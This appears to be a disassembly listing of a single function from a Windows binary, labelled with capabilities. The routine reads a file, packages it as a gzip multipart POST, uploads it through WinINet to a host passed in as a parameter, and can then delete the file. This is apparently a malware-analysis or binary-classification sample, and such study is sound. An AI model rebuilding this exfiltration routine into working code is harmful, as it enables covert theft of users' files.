Function at 0x403461
Capabilities:
Connect to http server
Create http request
Delete file
Read and send data from client to server
Read file on windows
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x28]
mov word [ebp - 8], ax
stosd dword es:[edi], eax
push 0xe
pop ebx
push 9
stosd dword es:[edi], eax
pop esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0040eec5
cdq
idiv esi
lea eax, [ebp - 8]
push edx
push 0x41f29c
push eax
call fcn.00404c3c
lea edx, [ebp - 8]
add esp, 0xc
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4034a0
lea edi, [ebp - 0x28]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4034ad
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 9
pop esi
sub ebx, 1
jne 0x403481
push 0x41f28c
push dword [ebp + 0xc]
call fcn.0040c11b
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4037cc
push 2
push 0
push esi
call fcn.0040c72e
push esi
call fcn.0040cd81
mov ebx, eax
push esi
mov dword [ebp - 0xc], ebx
call fcn.0040d2cf
push ebx
call fcn.0040eeba
add esp, 0x18
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4037cc
push esi
push ebx
push 1
push eax
call fcn.0040c318
add esp, 0x10
cmp eax, ebx
jne 0x4037cc
push esi
call fcn.0040bedf
pop ecx
push 0x12
pop ecx
mov esi, str.Content_Type:_multipart_form_data__boundary___________________________
lea edi, [ebp - 0x328]
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x28]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403544
lea edi, [ebp - 0x328]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403554
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x328]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x403571
mov ax, word [0x41f2e8]
lea edi, [ebp - 0x128]
mov word [ecx], ax
lea edx, [ebp - 0x28]
mov al, byte [0x41f2ea]
mov esi, str._____________________________
mov byte [ecx + 2], al
push 7
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4035a1
lea edi, [ebp - 0x128]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4035b1
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x128]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x4035ce
mov ax, word [0x41f2e8]
lea edi, [ebp - 0x128]
mov word [ecx], ax
dec edi
mov al, byte [0x41f2ea]
mov byte [ecx + 2], al
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4035ee
mov edx, dword [ebp + 0x10]
mov esi, str.Content_Disposition:_form_data__name_file___filename_
push 0xe
pop ecx
rep movsd dword es:[edi], dword [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403605
lea edi, [ebp - 0x128]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403615
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x128]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403632
push 9
pop ecx
mov esi, str.__r_nContent_Type:application_x_gzip_r_n_r_n
lea edx, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push 8
pop ecx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str._r_n_____________________________
lea edi, [ebp - 0x228]
rep movsd dword es:[edi], dword [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40365c
lea edi, [ebp - 0x228]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40366c
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x228]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x403689
mov eax, dword [str.___r_n]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ecx], eax
mov al, byte [0x41f390]
mov byte [ecx + 4], al
lea eax, [ebp - 0x228]
push eax
call edi
lea esi, [ebx + eax]
lea eax, [ebp - 0x128]
push eax
call edi
add eax, esi
mov dword [ebp - 0x14], eax
inc eax
push eax
call fcn.0040eeba
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, eax
pop ecx
lea eax, [ebp - 0x128]
mov dword [ebp - 4], ebx
push eax
push ebx
call esi
push dword [ebp - 0xc]
lea eax, [ebp - 0x128]
push dword [ebp - 0x10]
push eax
call edi
add eax, ebx
push eax
call fcn.00409a50
add esp, 0xc
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x128]
push eax
call edi
add eax, ebx
add eax, dword [ebp - 0xc]
push eax
call esi
push dword [ebp - 0x10]
call fcn.0040ee9f
pop ecx
xor edi, edi
push edi
push edi
push edi
push edi
push str.Mozilla
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x4037c5
push 1
push edi
push 3
push edi
push edi
push 0x50
push dword [ebp + 8]
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
test edi, edi
je 0x4037c5
push 1
push 0x4000000
push 0x41f39c
push 0
push 0
push dword [ebp + 0x18]
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x4037c2
push dword [ebp - 0x14]
lea eax, [ebp - 0x328]
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x328]
push eax
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4037c2
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
push ebx
call esi
push dword [ebp - 4]
call fcn.0040ee9f
cmp dword [ebp + 0x14], 1
pop ecx
jne 0x4037be
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
jmp 0x4037cf
mov ebx, dword [ebp - 4]
push ebx
call fcn.0040ee9f
pop ecx
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret